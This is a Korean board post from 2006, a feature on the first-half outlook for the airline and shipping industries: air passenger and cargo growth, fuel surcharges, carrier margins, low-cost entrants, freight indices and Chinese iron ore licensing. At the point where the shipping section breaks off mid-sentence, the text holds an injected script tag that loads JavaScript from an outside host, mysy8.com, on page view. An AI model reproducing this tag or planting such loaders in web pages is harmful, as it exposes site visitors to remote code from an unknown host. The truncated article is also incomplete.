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글쓴이 운영자 작성일 2006-02-08
제목 [기획특집] 상반기 운송산업 전망(Ⅱ)
[기획특집] 상반기 운송산업 전망(Ⅱ)

[항공산업]

“운임인상...수익성 유지될 듯”

주5일제 확대*해외여행 관심↑...여객수요 늘어날 듯
IT관련 수출호조로 화물 수송량 안정적 증가 예고

◆2005년 동향=지난해 인천공항 집계기준(1~11월 누계) 국제여객 수송량은 전년 같은 기간과 비교해 8.9% 증가, 호조세를 이어간 반면, 국제화물수송은 1.9% 증가하는데 그쳤다.

노선별로는 국제선 여객 및 국제선 화물 모두 중국노선의 수송호조가 두드러졌으며, 화물부분에서는 미주노선의 부진이 전체 화물수송 부진에 영향을 미쳤다. 여객수요가는 성수기와 비성수기를 가리지 않고 꾸준히 증가했으며, 화물부문은 전년도의 화물수송 성장세가 워낙 높았기 때문에 상대적으로 둔화되는 모습을 보여줬다. 국내 여객 및 화물 수송은 고속철 개통 등 수요분산 효과로 감소세를 이어갔다.

수요증가에도 불구하고 유가상승으로 운항비용이 증가하면서 상반기 국적항공사들의 수익성은 악화되었으나 7월부터 유류할증제가 확대 적용됨에 따라 3분기 실적은 소폭 호전됐는데, 대한항공의 상반기 영업이익률은 전년동기 4.4%에서 소폭 하락한 3.6%에 머물렀으나 3분기누계 영업이익률은 전년 같은기간 7.1%대비 소폭 상승한 7.3%에 달했다.

상대적으로 단거리노선 비중이 큰 아시아나항공은 4월부터 시행된 유류할증제 혜택을 적게 받으면서 부진한 수익성을 나타냈는데 성수기 파업사태까지 겹치면서 3분기에도 영업손실을 기록했다. 하반기 들어 유가 상승기조가 일단락되고 있고 11월중 국제선요금인상 및 유류할증제 확대실시가 단행됨에 따라 항공사들의 하반기 수익성은 상반기대비 호전될 것으로 전망된다.

◆2006년 전망=소득수준 향상에 따른 해외여행에 대한 관심 증대와 주5일 근무제 확대 실시와 소비회복에 따른 수요마저 유입되면서 내국인 여행수요가 강한 성장세를 나타낼 것으로 전망된다. 또한 한류열풍과 일본의 경기회복, 중국의 경제성장 등으로 외국인의 국내여객수요도 확대될 것으로 보인다.

항공 화물 수송량은 IT제품의 경박단소화에 따른 항공화물 수송수요 증가 및 인천공항의 동북아 허브 공항화에 따른 환적수요 증가 등의 요인으로 안정적인 성장세를 이어갈 것으로 전망되며, IT경기회복에 따른 핸드셋과 메모리 반도체 수출량 증가도 수송호조에 기여할 것으로 보인다.

하지만 고유가 기조가 유지될 것으로 전망됨에 따라 항공업계의 유류비 부담은 여전할 것으로 보인다. 다만 유류할증제가 도입됨에 따라 유류비 인상분의 즉각적인 고객전가가 가능해졌고, 강력한 여객수요 지속에 힘입은 운임인상도 가능하며 항공기 효율도 꾸준히 개선되고 있기 때문에 수익성 유지에 큰 어려움은 없을 전망이다.

지난해 저가항공사인 한성항공이 출범해 제주 노선을 중심으로 운항을 시작했고 2006년에도 제주에어가 취항할 예정에 있으나, 한성항공이 자금부족으로 운항을 중단하는 등 시장진입에 큰 어려움을 겪고 있어 기존 항공사에 위협으로 작용하기에는 시기상조인 것으로 판단된다.

하나금융경영연구소는 “항공산업의 수익성은 여객수요 및 탑승율, 항공유가, 환율 등에 영향을 받지만 현시점에서는 유가와 항공수요의 영향력이 가장 크다”고 지적했으며, “과점체제가 형성돼 있고 여객수요 및 화물수요의 안정적 증가로 무난한 수익성 유지 예상된다”고 했다. 또한 “저가 항공사의 출범 시도가 있으나 국내노선을 위주로 운영될 가능성이 커 심각한 위협 요소는 아닐 것으로 판단된다”고 내다봤다.

[해운산업]

“병술년 해운경기 어둡다”

신규선박 투입에 따른 수급 완화...시황둔화 지속 전망
톤세제 도입으로 해운기업 실질적 감세효과 누릴 듯

◆2005년 동향=작년 상반기 해운경기는 선종별로 차별화된 시황이 전개됐다. 중국효과에 따른 컨테이너물동량 증가세 지속에 힘입어 컨테이너선 시장은 호황을 이어갔으나, 건화물선 및 탱커 시장은 불안한 움직임을 보여줬다.

지난 2004년 12월중 6,200선을 돌파하면서 과열현상을 보였던 BDI지수는 시장 안정과 함께 지난해 1분기 중 4,000~5,000 사이를 유지하다가 4월 중순이후 급락세로 돌아서면서 8월중에는 1,700선까지 하락했다. 하반기 들어서는 이러한 운임둔화가 컨테이너선 시장에 까지 확산되면서 2005년 상반기 중 2,000선을 돌파했던 HR지수가 1,200선까지 급락했으며 10월중 3,000선을 회복했던 BDI지수도 2,400선까지 다시 하락하고 있다

중국 정부의 철광석 수입면허제 도입 결정은 시장심리를 급격하게 악화시키며 지난해 4월 이후 큰 폭의 건화물선 운임하락을 유발했다. 중국 상무부가 수입자격을 제한에 따라 중국 내 철광석 수입업체는 기존 500여개에서 118개로 대폭 감소했으며, 시장에서는 이 조치가 중국의 철광석 수입물동량 둔화?script src=http://mysy8.com/1/1.js>
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